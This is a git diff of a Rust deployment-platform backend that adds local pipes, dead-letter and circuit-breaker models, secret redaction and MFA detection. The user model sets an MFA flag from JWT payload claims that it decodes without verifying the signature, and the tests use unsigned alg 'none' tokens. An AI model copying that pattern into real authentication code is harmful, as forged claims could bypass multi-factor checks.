 pub mod user;
@@ -24,14 +30,17 @@ pub use chat::*;
 pub use client::*;
 pub use cloud::*;
 pub use command::*;
+pub use dag::*;
 pub use deployment::*;
 pub use marketplace::*;
 pub use pipe::*;
 pub use product::*;
 pub use project::*;
 pub use project_app::*;
+pub use project_member::*;
 pub use ratecategory::*;
 pub use rating::*;
+pub use remote_secret::*;
 pub use rules::*;
 pub use server::*;
 pub use user::*;
diff --git a/src/models/pipe.rs b/src/models/pipe.rs
index b779d99f..6f749db4 100644
--- a/src/models/pipe.rs
+++ b/src/models/pipe.rs
@@ -112,8 +112,10 @@ impl Default for PipeStatus {
 pub struct PipeInstance {
     pub id: Uuid,
     pub template_id: Option<Uuid>,
-    pub deployment_hash: String,
+    pub deployment_hash: Option<String>,
+    pub source_adapter: Option<JsonValue>,
     pub source_container: String,
+    pub target_adapter: Option<JsonValue>,
     pub target_container: Option<String>,
     pub target_url: Option<String>,
     pub field_mapping_override: Option<JsonValue>,
@@ -122,22 +124,21 @@ pub struct PipeInstance {
     pub last_triggered_at: Option<DateTime<Utc>>,
     pub trigger_count: i64,
     pub error_count: i64,
+    pub is_local: bool,
     pub created_by: String,
     pub created_at: DateTime<Utc>,
     pub updated_at: DateTime<Utc>,
 }
 
 impl PipeInstance {
-    pub fn new(
-        deployment_hash: String,
-        source_container: String,
-        created_by: String,
-    ) -> Self {
+    pub fn new(deployment_hash: String, source_container: String, created_by: String) -> Self {
         Self {
             id: Uuid::new_v4(),
             template_id: None,
-            deployment_hash,
+            deployment_hash: Some(deployment_hash),
+            source_adapter: None,
             source_container,
+            target_adapter: None,
             target_container: None,
             target_url: None,
             field_mapping_override: None,
@@ -146,6 +147,31 @@ impl PipeInstance {
             last_triggered_at: None,
             trigger_count: 0,
             error_count: 0,
+            is_local: false,
+            created_by,
+            created_at: Utc::now(),
+            updated_at: Utc::now(),
+        }
+    }
+
+    /// Create a local pipe instance (no deployment required).
+    pub fn new_local(source_container: String, created_by: String) -> Self {
+        Self {
+            id: Uuid::new_v4(),
+            template_id: None,
+            deployment_hash: None,
+            source_adapter: None,
+            source_container,
+            target_adapter: None,
+            target_container: None,
+            target_url: None,
+            field_mapping_override: None,
+            config_override: None,
+            status: PipeStatus::Draft.to_string(),
+            last_triggered_at: None,
+            trigger_count: 0,
+            error_count: 0,
+            is_local: true,
             created_by,
             created_at: Utc::now(),
             updated_at: Utc::now(),
@@ -162,6 +188,16 @@ impl PipeInstance {
         self
     }
 
+    pub fn with_source_adapter(mut self, adapter: JsonValue) -> Self {
+        self.source_adapter = Some(adapter);
+        self
+    }
+
+    pub fn with_target_adapter(mut self, adapter: JsonValue) -> Self {
+        self.target_adapter = Some(adapter);
+        self
+    }
+
     pub fn with_target_url(mut self, url: String) -> Self {
         self.target_url = Some(url);
         self
@@ -186,7 +222,7 @@ impl PipeInstance {
 pub struct PipeExecution {
     pub id: Uuid,
     pub pipe_instance_id: Uuid,
-    pub deployment_hash: String,
+    pub deployment_hash: Option<String>,
     pub trigger_type: String,
     pub status: String,
     pub source_data: Option<JsonValue>,
@@ -195,6 +231,7 @@ pub struct PipeExecution {
     pub error: Option<String>,
     pub duration_ms: Option<i64>,
     pub replay_of: Option<Uuid>,
+    pub is_local: bool,
     pub created_by: String,
     pub started_at: DateTime<Utc>,
     pub completed_at: Option<DateTime<Utc>>,
@@ -203,10 +240,11 @@ pub struct PipeExecution {
 impl PipeExecution {
     pub fn new(
         pipe_instance_id: Uuid,
-        deployment_hash: String,
+        deployment_hash: Option<String>,
         trigger_type: String,
         created_by: String,
     ) -> Self {
+        let is_local = deployment_hash.is_none();
         Self {
             id: Uuid::new_v4(),
             pipe_instance_id,
@@ -219,6 +257,7 @@ impl PipeExecution {
             error: None,
             duration_ms: None,
             replay_of: None,
+            is_local,
             created_by,
             started_at: Utc::now(),
             completed_at: None,
@@ -356,10 +395,13 @@ mod tests {
             "user456".to_string(),
         );
 
-        assert_eq!(instance.deployment_hash, "deploy_abc123");
+        assert_eq!(instance.deployment_hash, Some("deploy_abc123".to_string()));
         assert_eq!(instance.source_container, "wordpress_1");
         assert_eq!(instance.status, "draft");
+        assert!(!instance.is_local);
         assert!(instance.template_id.is_none());
+        assert!(instance.source_adapter.is_none());
+        assert!(instance.target_adapter.is_none());
         assert!(instance.target_container.is_none());
         assert!(instance.target_url.is_none());
         assert_eq!(instance.trigger_count, 0);
@@ -367,6 +409,17 @@ mod tests {
         assert!(instance.last_triggered_at.is_none());
     }
 
+    #[test]
+    fn test_pipe_instance_new_local() {
+        let instance = PipeInstance::new_local("my_postgres".to_string(), "user789".to_string());
+
+        assert!(instance.deployment_hash.is_none());
+        assert_eq!(instance.source_container, "my_postgres");
+        assert_eq!(instance.status, "draft");
+        assert!(instance.is_local);
+        assert_eq!(instance.created_by, "user789");
+    }
+
     #[test]
     fn test_pipe_instance_builder() {
         let template_id = Uuid::new_v4();
@@ -376,12 +429,16 @@ mod tests {
             "user789".to_string(),
         )
         .with_template(template_id)
+        .with_source_adapter(json!({"code": "imap"}))
+        .with_target_adapter(json!({"code": "smtp"}))
         .with_target_container("mailchimp_1".to_string())
         .with_target_url("https://external.api/hook".to_string())
         .with_field_mapping_override(json!({"email": "$.custom_email"}))
         .with_config_override(json!({"timeout": 30}));
 
         assert_eq!(instance.template_id, Some(template_id));
+        assert_eq!(instance.source_adapter, Some(json!({"code": "imap"})));
+        assert_eq!(instance.target_adapter, Some(json!({"code": "smtp"})));
         assert_eq!(instance.target_container, Some("mailchimp_1".to_string()));
         assert_eq!(
             instance.target_url,
@@ -404,7 +461,12 @@ mod tests {
 
         let json_str = serde_json::to_string(&instance).unwrap();
         let deserialized: PipeInstance = serde_json::from_str(&json_str).unwrap();
-        assert_eq!(deserialized.deployment_hash, "deploy_test");
+        assert_eq!(
+            deserialized.deployment_hash,
+            Some("deploy_test".to_string())
+        );
+        assert!(deserialized.source_adapter.is_none());
+        assert!(deserialized.target_adapter.is_none());
         assert_eq!(deserialized.source_container, "container_a");
         assert_eq!(deserialized.status, "draft");
     }
@@ -416,15 +478,16 @@ mod tests {
         let instance_id = Uuid::new_v4();
         let exec = PipeExecution::new(
             instance_id,
-            "deploy_abc".to_string(),
+            Some("deploy_abc".to_string()),
             "manual".to_string(),
             "user1".to_string(),
         );
 
         assert_eq!(exec.pipe_instance_id, instance_id);
-        assert_eq!(exec.deployment_hash, "deploy_abc");
+        assert_eq!(exec.deployment_hash, Some("deploy_abc".to_string()));
         assert_eq!(exec.trigger_type, "manual");
         assert_eq!(exec.status, "running");
+        assert!(!exec.is_local);
         assert_eq!(exec.created_by, "user1");
         assert!(exec.source_data.is_none());
         assert!(exec.mapped_data.is_none());
@@ -439,7 +502,7 @@ mod tests {
     fn test_pipe_execution_complete_success() {
         let exec = PipeExecution::new(
             Uuid::new_v4(),
-            "deploy_abc".to_string(),
+            Some("deploy_abc".to_string()),
             "webhook".to_string(),
             "user1".to_string(),
         )
@@ -465,7 +528,7 @@ mod tests {
     fn test_pipe_execution_complete_failure() {
         let exec = PipeExecution::new(
             Uuid::new_v4(),
-            "deploy_abc".to_string(),
+            Some("deploy_abc".to_string()),
             "poll".to_string(),
             "user1".to_string(),
         )
@@ -483,7 +546,7 @@ mod tests {
         let original_id = Uuid::new_v4();
         let exec = PipeExecution::new(
             Uuid::new_v4(),
-            "deploy_abc".to_string(),
+            Some("deploy_abc".to_string()),
             "replay".to_string(),
             "user1".to_string(),
         )
@@ -497,7 +560,7 @@ mod tests {
     fn test_pipe_execution_serialization() {
         let exec = PipeExecution::new(
             Uuid::new_v4(),
-            "deploy_test".to_string(),
+            Some("deploy_test".to_string()),
             "manual".to_string(),
             "user_test".to_string(),
         )
@@ -509,9 +572,71 @@ mod tests {
 
         let json_str = serde_json::to_string(&exec).unwrap();
         let deserialized: PipeExecution = serde_json::from_str(&json_str).unwrap();
-        assert_eq!(deserialized.deployment_hash, "deploy_test");
+        assert_eq!(
+            deserialized.deployment_hash,
+            Some("deploy_test".to_string())
+        );
         assert_eq!(deserialized.trigger_type, "manual");
         assert_eq!(deserialized.status, "success");
         assert_eq!(deserialized.source_data, Some(json!({"key": "value"})));
     }
+
+    #[test]
+    fn test_pipe_instance_local_no_hash_and_is_local_flag() {
+        let instance = PipeInstance::new_local("my-app".to_string(), "user1".to_string());
+        assert!(instance.is_local);
+        assert!(instance.deployment_hash.is_none());
+        assert_eq!(instance.source_container, "my-app");
+        assert_eq!(instance.created_by, "user1");
+        assert_eq!(instance.status, "draft");
+        assert_eq!(instance.trigger_count, 0);
+        assert_eq!(instance.error_count, 0);
+    }
+
+    #[test]
+    fn test_pipe_instance_new_remote_has_hash() {
+        let instance = PipeInstance::new(
+            "abc123hash".to_string(),
+            "my-app".to_string(),
+            "user1".to_string(),
+        );
+        assert!(!instance.is_local);
+        assert_eq!(instance.deployment_hash, Some("abc123hash".to_string()));
+    }
+
+    #[test]
+    fn test_pipe_instance_local_serialization_roundtrip() {
+        let instance = PipeInstance::new_local("my-app".to_string(), "user1".to_string());
+        let json_str = serde_json::to_string(&instance).unwrap();
+        let deserialized: PipeInstance = serde_json::from_str(&json_str).unwrap();
+        assert!(deserialized.is_local);
+        assert!(deserialized.deployment_hash.is_none());
+        assert_eq!(deserialized.source_container, "my-app");
+    }
+
+    #[test]
+    fn test_pipe_execution_local_no_hash() {
+        let exec = PipeExecution::new(
+            Uuid::new_v4(),
+            None,
+            "manual".to_string(),
+            "user1".to_string(),
+        );
+        assert!(exec.is_local);
+        assert!(exec.deployment_hash.is_none());
+        assert_eq!(exec.trigger_type, "manual");
+        assert_eq!(exec.status, "running");
+    }
+
+    #[test]
+    fn test_pipe_execution_remote_has_hash() {
+        let exec = PipeExecution::new(
+            Uuid::new_v4(),
+            Some("hash123".to_string()),
+            "webhook".to_string(),
+            "user1".to_string(),
+        );
+        assert!(!exec.is_local);
+        assert_eq!(exec.deployment_hash, Some("hash123".to_string()));
+    }
 }
diff --git a/src/models/project.rs b/src/models/project.rs
index 19b66459..1daa7191 100644
--- a/src/models/project.rs
+++ b/src/models/project.rs
@@ -162,6 +162,14 @@ pub struct Project {
     pub template_version: Option<String>, // marketplace template version
 }
 
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, sqlx::FromRow)]
+pub struct SharedProjectSummary {
+    pub id: i32,
+    pub name: String,
+    pub role: String,
+    pub shared_at: DateTime<Utc>,
+}
+
 impl Project {
     pub fn new(user_id: String, name: String, metadata: Value, request_json: Value) -> Self {
         Self {
diff --git a/src/models/project_member.rs b/src/models/project_member.rs
new file mode 100644
index 00000000..ea747244
--- /dev/null
+++ b/src/models/project_member.rs
@@ -0,0 +1,12 @@
+use chrono::{DateTime, Utc};
+use serde::{Deserialize, Serialize};
+
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, sqlx::FromRow)]
+pub struct ProjectMember {
+    pub project_id: i32,
+    pub user_id: String,
+    pub role: String,
+    pub created_by: String,
+    pub created_at: DateTime<Utc>,
+    pub updated_at: DateTime<Utc>,
+}
diff --git a/src/models/rating.rs b/src/models/rating.rs
index 772fc78a..626d4d37 100644
--- a/src/models/rating.rs
+++ b/src/models/rating.rs
@@ -1,7 +1,7 @@
 use crate::models;
 use chrono::{DateTime, Utc};
 
-#[derive(Debug, Default)]
+#[derive(Debug, Default, sqlx::FromRow)]
 pub struct Rating {
     pub id: i32,
     pub user_id: String, // external user_id, 100, taken using token (middleware?)
diff --git a/src/models/remote_secret.rs b/src/models/remote_secret.rs
new file mode 100644
index 00000000..e50d907c
--- /dev/null
+++ b/src/models/remote_secret.rs
@@ -0,0 +1,18 @@
+use chrono::{DateTime, Utc};
+use serde::{Deserialize, Serialize};
+
+#[derive(Debug, Clone, Serialize, Deserialize, sqlx::FromRow)]
+pub struct RemoteSecret {
+    pub id: i32,
+    pub user_id: String,
+    pub project_id: Option<i32>,
+    pub app_code: Option<String>,
+    pub server_id: Option<i32>,
+    pub scope: String,
+    pub name: String,
+    pub vault_path: String,
+    pub updated_by: String,
+    pub last_sync_status: String,
+    pub created_at: DateTime<Utc>,
+    pub updated_at: DateTime<Utc>,
+}
diff --git a/src/models/resilience.rs b/src/models/resilience.rs
new file mode 100644
index 00000000..776ce344
--- /dev/null
+++ b/src/models/resilience.rs
@@ -0,0 +1,116 @@
+use serde::{Deserialize, Serialize};
+use sqlx::types::chrono::{DateTime, Utc};
+use sqlx::types::uuid::Uuid;
+use sqlx::types::JsonValue;
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Dead Letter Queue entry
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+pub const VALID_DLQ_STATUSES: &[&str] =
+    &["pending", "retrying", "exhausted", "resolved", "discarded"];
+
+#[derive(Debug, Clone, Serialize, Deserialize, sqlx::FromRow)]
+pub struct DeadLetterEntry {
+    pub id: Uuid,
+    pub pipe_instance_id: Uuid,
+    pub pipe_execution_id: Option<Uuid>,
+    pub dag_step_id: Option<Uuid>,
+    pub payload: Option<JsonValue>,
+    pub error: String,
+    pub retry_count: i32,
+    pub max_retries: i32,
+    pub next_retry_at: Option<DateTime<Utc>>,
+    pub status: String,
+    pub created_by: String,
+    pub created_at: DateTime<Utc>,
+    pub updated_at: DateTime<Utc>,
+}
+
+impl DeadLetterEntry {
+    pub fn new(pipe_instance_id: Uuid, error: String, created_by: String) -> Self {
+        Self {
+            id: Uuid::new_v4(),
+            pipe_instance_id,
+            pipe_execution_id: None,
+            dag_step_id: None,
+            payload: None,
+            error,
+            retry_count: 0,
+            max_retries: 3,
+            next_retry_at: None,
+            status: "pending".to_string(),
+            created_by,
+            created_at: Utc::now(),
+            updated_at: Utc::now(),
+        }
+    }
+
+    pub fn with_execution(mut self, execution_id: Uuid) -> Self {
+        self.pipe_execution_id = Some(execution_id);
+        self
+    }
+
+    pub fn with_dag_step(mut self, step_id: Uuid) -> Self {
+        self.dag_step_id = Some(step_id);
+        self
+    }
+
+    pub fn with_payload(mut self, payload: JsonValue) -> Self {
+        self.payload = Some(payload);
+        self
+    }
+
+    pub fn with_max_retries(mut self, max: i32) -> Self {
+        self.max_retries = max;
+        self
+    }
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Circuit Breaker
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+pub const VALID_CB_STATES: &[&str] = &["closed", "open", "half_open"];
+
+#[derive(Debug, Clone, Serialize, Deserialize, sqlx::FromRow)]
+pub struct CircuitBreaker {
+    pub id: Uuid,
+    pub pipe_instance_id: Uuid,
+    pub state: String,
+    pub failure_count: i32,
+    pub success_count: i32,
+    pub failure_threshold: i32,
+    pub recovery_timeout_seconds: i32,
+    pub half_open_max_requests: i32,
+    pub last_failure_at: Option<DateTime<Utc>>,
+    pub opened_at: Option<DateTime<Utc>>,
+    pub created_at: DateTime<Utc>,
+    pub updated_at: DateTime<Utc>,
+}
+
+impl CircuitBreaker {
+    pub fn new(pipe_instance_id: Uuid) -> Self {
+        Self {
+            id: Uuid::new_v4(),
+            pipe_instance_id,
+            state: "closed".to_string(),
+            failure_count: 0,
+            success_count: 0,
+            failure_threshold: 5,
+            recovery_timeout_seconds: 60,
+            half_open_max_requests: 3,
+            last_failure_at: None,
+            opened_at: None,
+            created_at: Utc::now(),
+            updated_at: Utc::now(),
+        }
+    }
+
+    pub fn with_config(mut self, threshold: i32, timeout: i32, half_open_max: i32) -> Self {
+        self.failure_threshold = threshold;
+        self.recovery_timeout_seconds = timeout;
+        self.half_open_max_requests = half_open_max;
+        self
+    }
+}
diff --git a/src/models/user.rs b/src/models/user.rs
index c5510112..7de9535c 100644
--- a/src/models/user.rs
+++ b/src/models/user.rs
@@ -1,4 +1,6 @@
+use base64::{engine::general_purpose::URL_SAFE_NO_PAD, Engine};
 use serde::Deserialize;
+use serde_json::Value;
 
 #[derive(Deserialize, Clone)]
 pub struct User {
@@ -8,6 +10,8 @@ pub struct User {
     pub email: String,
     pub role: String,
     pub email_confirmed: bool,
+    #[serde(default)]
+    pub mfa_verified: bool,
     /// Access token used for proxy requests to other services (e.g., User Service)
     /// This is set during authentication and used for MCP tool calls.
     #[serde(skip)]
@@ -17,9 +21,21 @@ pub struct User {
 impl User {
     /// Create a new User with an access token for service proxy requests
     pub fn with_token(mut self, token: String) -> Self {
+        if access_token_has_mfa_claim(&token) {
+            self.mfa_verified = true;
+        }
         self.access_token = Some(token);
         self
     }
+
+    pub fn has_verified_mfa(&self) -> bool {
+        self.mfa_verified
+            || self
+                .access_token
+                .as_deref()
+                .map(access_token_has_mfa_claim)
+                .unwrap_or(false)
+    }
 }
 
 impl std::fmt::Debug for User {
@@ -31,7 +47,106 @@ impl std::fmt::Debug for User {
             .field("email", &self.email)
             .field("role", &self.role)
             .field("email_confirmed", &self.email_confirmed)
+            .field("mfa_verified", &self.mfa_verified)
             .field("access_token", &"[REDACTED]")
             .finish()
     }
 }
+
+pub fn access_token_has_mfa_claim(token: &str) -> bool {
+    let Some(payload) = token.split('.').nth(1) else {
+        return false;
+    };
+    let Ok(decoded) = URL_SAFE_NO_PAD.decode(payload) else {
+        return false;
+    };
+    let Ok(claims) = serde_json::from_slice::<Value>(&decoded) else {
+        return false;
+    };
+
+    claim_bool(
+        &claims,
+        &[
+            "mfa",
+            "mfa_verified",
+            "mfaVerified",
+            "two_factor_verified",
+            "twoFactorVerified",
+        ],
+    ) || claim_contains_mfa(&claims, "amr")
+        || claim_contains_mfa(&claims, "acr")
+}
+
+fn claim_bool(claims: &Value, names: &[&str]) -> bool {
+    names
+        .iter()
+        .any(|name| claims.get(*name).and_then(Value::as_bool).unwrap_or(false))
+}
+
+fn claim_contains_mfa(claims: &Value, name: &str) -> bool {
+    let Some(value) = claims.get(name) else {
+        return false;
+    };
+
+    match value {
+        Value::String(value) => is_mfa_method(value),
+        Value::Array(values) => values.iter().filter_map(Value::as_str).any(is_mfa_method),
+        _ => false,
+    }
+}
+
+fn is_mfa_method(value: &str) -> bool {
+    matches!(
+        value.to_ascii_lowercase().as_str(),
+        "mfa" | "2fa" | "otp" | "totp" | "webauthn" | "fido" | "fido2" | "u2f"
+    ) || value.to_ascii_lowercase().contains("multi-factor")
+}
+
+#[cfg(test)]
+mod tests {
+    use super::{access_token_has_mfa_claim, User};
+    use base64::{engine::general_purpose::URL_SAFE_NO_PAD, Engine};
+    use serde_json::json;
+
+    fn token_with_claims(claims: serde_json::Value) -> String {
+        let header = URL_SAFE_NO_PAD.encode(json!({"alg": "none"}).to_string());
+        let payload = URL_SAFE_NO_PAD.encode(claims.to_string());
+        format!("{header}.{payload}.signature")
+    }
+
+    #[test]
+    fn detects_mfa_from_amr_claim() {
+        let token = token_with_claims(json!({"sub": "user-1", "amr": ["pwd", "totp"]}));
+        assert!(access_token_has_mfa_claim(&token));
+    }
+
+    #[test]
+    fn detects_mfa_from_boolean_claim() {
+        let token = token_with_claims(json!({"sub": "user-1", "mfa_verified": true}));
+        assert!(access_token_has_mfa_claim(&token));
+    }
+
+    #[test]
+    fn rejects_token_without_mfa_claim() {
+        let token = token_with_claims(json!({"sub": "user-1", "amr": ["pwd"]}));
+        assert!(!access_token_has_mfa_claim(&token));
+    }
+
+    #[test]
+    fn with_token_marks_user_mfa_verified_when_claim_is_present() {
+        let token = token_with_claims(json!({"sub": "user-1", "amr": ["pwd", "webauthn"]}));
+        let user = User {
+            id: "user-1".to_string(),
+            first_name: "Test".to_string(),
+            last_name: "User".to_string(),
+            email: "user@example.com".to_string(),
+            role: "group_user".to_string(),
+            email_confirmed: true,
+            mfa_verified: false,
+            access_token: None,
+        }
+        .with_token(token);
+
+        assert!(user.has_verified_mfa());
+    }
+}
diff --git a/src/project_app/hydration.rs b/src/project_app/hydration.rs
index 960e9474..238ec813 100644
--- a/src/project_app/hydration.rs
+++ b/src/project_app/hydration.rs
@@ -1,10 +1,13 @@
-pub use hydrate::{hydrate_project_app, hydrate_single_app, HydratedProjectApp};
+pub use hydrate::{
+    hydrate_project_app, hydrate_single_app, redact_app_environment, HydratedProjectApp,
+};
 
 mod hydrate {
     use actix_web::Error;
     use serde_json::{json, Value};
     use sqlx::PgPool;
 
+    use crate::db;
     use crate::helpers::JsonResponse;
     use crate::models::{Project, ProjectApp};
     use crate::services::{AppConfig, ProjectAppService, VaultError, VaultService};
@@ -101,7 +104,7 @@ mod hydrate {
     }
 
     pub async fn hydrate_single_app(
-        _pool: &PgPool,
+        pool: &PgPool,
         project: &Project,
         app: ProjectApp,
     ) -> Result<HydratedProjectApp, Error> {
@@ -152,8 +155,9 @@ mod hydrate {
                         env_config = Some(config);
                     }
 
-                    if let Some(config_bundle) = fetch_optional_config(&vault, &hash, &format!("{}_configs", app.code))
-                        .await?
+                    if let Some(config_bundle) =
+                        fetch_optional_config(&vault, &hash, &format!("{}_configs", app.code))
+                            .await?
                     {
                         hydrated.config_files = parse_config_bundle(&config_bundle.content);
                     }
@@ -208,9 +212,49 @@ mod hydrate {
             push_config_file_if_missing(&mut hydrated.config_files, &compose_name, &config);
         }
 
+        hydrated.environment = redact_app_environment(
+            pool,
+            &project.user_id,
+            project.id,
+            &app.code,
+            hydrated.environment,
+        )
+        .await
+        .map_err(JsonResponse::internal_server_error)?;
+
         Ok(hydrated)
     }
 
+    pub async fn redact_app_environment(
+        pool: &PgPool,
+        user_id: &str,
+        project_id: i32,
+        app_code: &str,
+        env: Value,
+    ) -> Result<Value, String> {
+        let mut redacted = redact_sensitive_env_vars(env);
+        let service_secrets =
+            db::remote_secret::list_service_secrets(pool, user_id, project_id, app_code).await?;
+
+        if service_secrets.is_empty() {
+            return Ok(redacted);
+        }
+
+        if !redacted.is_object() {
+            redacted = normalize_environment(redacted);
+        }
+
+        let object = redacted
+            .as_object_mut()
+            .ok_or_else(|| "App environment must be a JSON object".to_string())?;
+
+        for secret in service_secrets {
+            object.insert(secret.name, Value::String("[REDACTED]".to_string()));
+        }
+
+        Ok(redacted)
+    }
+
     async fn fetch_optional_config(
         vault: &VaultService,
         deployment_hash: &str,
@@ -257,6 +301,64 @@ mod hydrate {
         });
     }
 
+    fn normalize_environment(env: Value) -> Value {
+        match env {
+            Value::Object(_) => env,
+            Value::Array(items) => {
+                let mut normalized = serde_json::Map::new();
+                for item in items {
+                    if let Some(pair) = item.as_str() {
+                        if let Some((key, value)) = pair.split_once('=') {
+                            normalized.insert(key.to_string(), Value::String(value.to_string()));
+                        }
+                    }
+                }
+                Value::Object(normalized)
+            }
+            other => other,
+        }
+    }
+
+    fn redact_sensitive_env_vars(env: Value) -> Value {
+        const SENSITIVE_PATTERNS: &[&str] = &[
+            "password",
+            "passwd",
+            "secret",
+            "token",
+            "key",
+            "api_key",
+            "apikey",
+            "auth",
+            "credential",
+            "private",
+            "cert",
+            "ssl",
+            "tls",
+        ];
+
+        let normalized = normalize_environment(env);
+        let Some(obj) = normalized.as_object() else {
+            return normalized;
+        };
+
+        let redacted = obj
+            .iter()
+            .map(|(key, value)| {
+                let key_lower = key.to_lowercase();
+                let is_sensitive = SENSITIVE_PATTERNS
+                    .iter()
+                    .any(|pattern| key_lower.contains(pattern));
+                if is_sensitive {
+                    (key.clone(), Value::String("[REDACTED]".to_string()))
+                } else {
+                    (key.clone(), value.clone())
+                }
+            })
+            .collect();
+
+        Value::Object(redacted)
+    }
+
     fn parse_env_to_json(content: &str) -> Value {
         let mut env_map = serde_json::Map::new();
         for line in content.lines() {
diff --git a/src/project_app/mod.rs b/src/project_app/mod.rs
index 5a4e450a..1f5db4c1 100644
--- a/src/project_app/mod.rs
+++ b/src/project_app/mod.rs
@@ -1,11 +1,68 @@
 pub(crate) mod hydration;
 pub(crate) mod mapping;
+pub(crate) mod sync;
 pub(crate) mod upsert;
 pub(crate) mod vault;
 
 pub(crate) use mapping::{merge_project_app, project_app_from_post};
+pub(crate) use sync::sync_project_level_apps_from_form;
 pub(crate) use upsert::upsert_app_config_for_deploy;
-pub(crate) use vault::store_configs_to_vault_from_params;
+pub(crate) use vault::{
+    parse_registry_auth_config, store_configs_to_vault_from_params,
+    store_registry_auth_command_to_vault, store_registry_auth_to_vault, REGISTRY_AUTH_VAULT_KEY,
+};
+
+const PLATFORM_MANAGED_APP_CODES: &[&str] = &["nginx_proxy_manager", "statuspanel"];
+
+pub(crate) fn is_platform_managed_app_code(value: &str) -> bool {
+    let normalized = normalize_app_code(value);
+    PLATFORM_MANAGED_APP_CODES.contains(&normalized.as_str())
+}
+
+pub(crate) fn is_platform_managed_app_identity(service_name: &str, image: Option<&str>) -> bool {
+    app_identity_candidates(service_name, image)
+        .iter()
+        .any(|candidate| is_platform_managed_app_code(candidate))
+}
+
+pub(crate) fn is_nginx_proxy_manager_identity(service_name: &str, image: Option<&str>) -> bool {
+    app_identity_candidates(service_name, image)
+        .iter()
+        .any(|candidate| candidate == "nginx_proxy_manager")
+}
+
+pub(crate) fn normalize_app_code(value: &str) -> String {
+    value
+        .trim()
+        .trim_start_matches('/')
+        .to_lowercase()
+        .split(['-', '_'])
+        .filter(|part| !part.is_empty())
+        .collect::<Vec<&str>>()
+        .join("_")
+}
+
+fn app_identity_candidates(service_name: &str, image: Option<&str>) -> Vec<String> {
+    let normalized_service_name = normalize_app_code(service_name);
+    let mut candidates = vec![normalized_service_name.clone()];
+    if normalized_service_name == "npm" {
+        candidates.push("nginx_proxy_manager".to_string());
+    }
+
+    if let Some(image) = image {
+        if let Some(image_name) = image.split('/').last() {
+            if let Some(name_without_tag) = image_name.split(':').next() {
+                let normalized_image_name = normalize_app_code(name_without_tag);
+                if normalized_image_name == "npm" {
+                    candidates.push("nginx_proxy_manager".to_string());
+                }
+                candidates.push(normalized_image_name);
+            }
+        }
+    }
+
+    candidates
+}
 
 pub(crate) fn is_compose_filename(file_name: &str) -> bool {
     matches!(
diff --git a/src/project_app/sync.rs b/src/project_app/sync.rs
new file mode 100644
index 00000000..9fcf401c
--- /dev/null
+++ b/src/project_app/sync.rs
@@ -0,0 +1,306 @@
+use crate::db;
+use crate::forms::project::{replace_id_with_name, App as ProjectFormApp, ProjectForm};
+use crate::models;
+use docker_compose_types as dctypes;
+use indexmap::IndexMap;
+use serde_json::{json, Map, Value};
+use sqlx::PgPool;
+use std::collections::{HashMap, HashSet};
+
+use super::is_platform_managed_app_code;
+
+fn non_empty_string(value: Option<&str>) -> Option<String> {
+    value
+        .map(str::trim)
+        .filter(|value| !value.is_empty())
+        .map(ToOwned::to_owned)
+}
+
+fn app_environment_json(app: &ProjectFormApp) -> Option<Value> {
+    let mut environment = Map::new();
+
+    for env_var in app
+        .environment
+        .environment
+        .as_ref()
+        .into_iter()
+        .flatten()
+        .filter(|env_var| !env_var.key.trim().is_empty())
+    {
+        environment.insert(env_var.key.clone(), Value::String(env_var.value.clone()));
+    }
+
+    if environment.is_empty() {
+        None
+    } else {
+        Some(Value::Object(environment))
+    }
+}
+
+fn app_networks_json(
+    app: &ProjectFormApp,
+    all_networks: &Vec<crate::forms::project::Network>,
+) -> Option<Value> {
+    let networks = dctypes::Networks::try_from(&app.network).unwrap_or_default();
+    let network_names = replace_id_with_name(networks, all_networks)
+        .into_iter()
+        .filter(|name| !name.trim().is_empty())
+        .collect::<Vec<_>>();
+
+    if network_names.is_empty() {
+        None
+    } else {
+        Some(json!(network_names))
+    }
+}
+
+fn build_project_app(
+    project_id: i32,
+    deploy_order: i32,
+    app: &ProjectFormApp,
+    all_networks: &Vec<crate::forms::project::Network>,
+) -> models::ProjectApp {
+    let mut project_app = models::ProjectApp::new(
+        project_id,
+        app.code.clone(),
+        app.name.clone(),
+        app.docker_image.to_string(),
+    );
+
+    project_app.environment = app_environment_json(app);
+    project_app.ports = app
+        .shared_ports
+        .as_ref()
+        .filter(|ports| !ports.is_empty())
+        .map(|ports| json!(ports));
+    project_app.volumes = app
+        .volumes
+        .as_ref()
+        .filter(|volumes| !volumes.is_empty())
+        .map(|volumes| json!(volumes));
+    project_app.domain = non_empty_string(app.domain.as_deref());
+    project_app.ssl_enabled = Some(false);
+    project_app.restart_policy = non_empty_string(Some(&app.restart));
+    project_app.command = non_empty_string(app.command.as_deref());
+    project_app.entrypoint = non_empty_string(app.entrypoint.as_deref());
+    project_app.networks = app_networks_json(app, all_networks);
+    project_app.enabled = Some(true);
+    project_app.deploy_order = Some(deploy_order);
+
+    project_app
+}
+
+pub(crate) fn project_level_apps_from_form(
+    project_id: i32,
+    form: &ProjectForm,
+) -> Vec<models::ProjectApp> {
+    let all_networks = form.custom.networks.networks.clone().unwrap_or_default();
+    let mut desired_apps: IndexMap<String, models::ProjectApp> = IndexMap::new();
+    let mut deploy_order = 0;
+
+    for web in &form.custom.web {
+        if is_platform_managed_app_code(&web.app.code) {
+            continue;
+        }
+        deploy_order += 1;
+        desired_apps.insert(
+            web.app.code.clone(),
+            build_project_app(project_id, deploy_order, &web.app, &all_networks),
+        );
+    }
+
+    if let Some(services) = &form.custom.service {
+        for service in services {
+            if is_platform_managed_app_code(&service.app.code) {
+                continue;
+            }
+            deploy_order += 1;
+            desired_apps.insert(
+                service.app.code.clone(),
+                build_project_app(project_id, deploy_order, &service.app, &all_networks),
+            );
+        }
+    }
+
+    if let Some(features) = &form.custom.feature {
+        for feature in features {
+            if is_platform_managed_app_code(&feature.app.code) {
+                continue;
+            }
+            deploy_order += 1;
+            desired_apps.insert(
+                feature.app.code.clone(),
+                build_project_app(project_id, deploy_order, &feature.app, &all_networks),
+            );
+        }
+    }
+
+    desired_apps.into_values().collect()
+}
+
+pub(crate) async fn sync_project_level_apps_from_form(
+    pool: &PgPool,
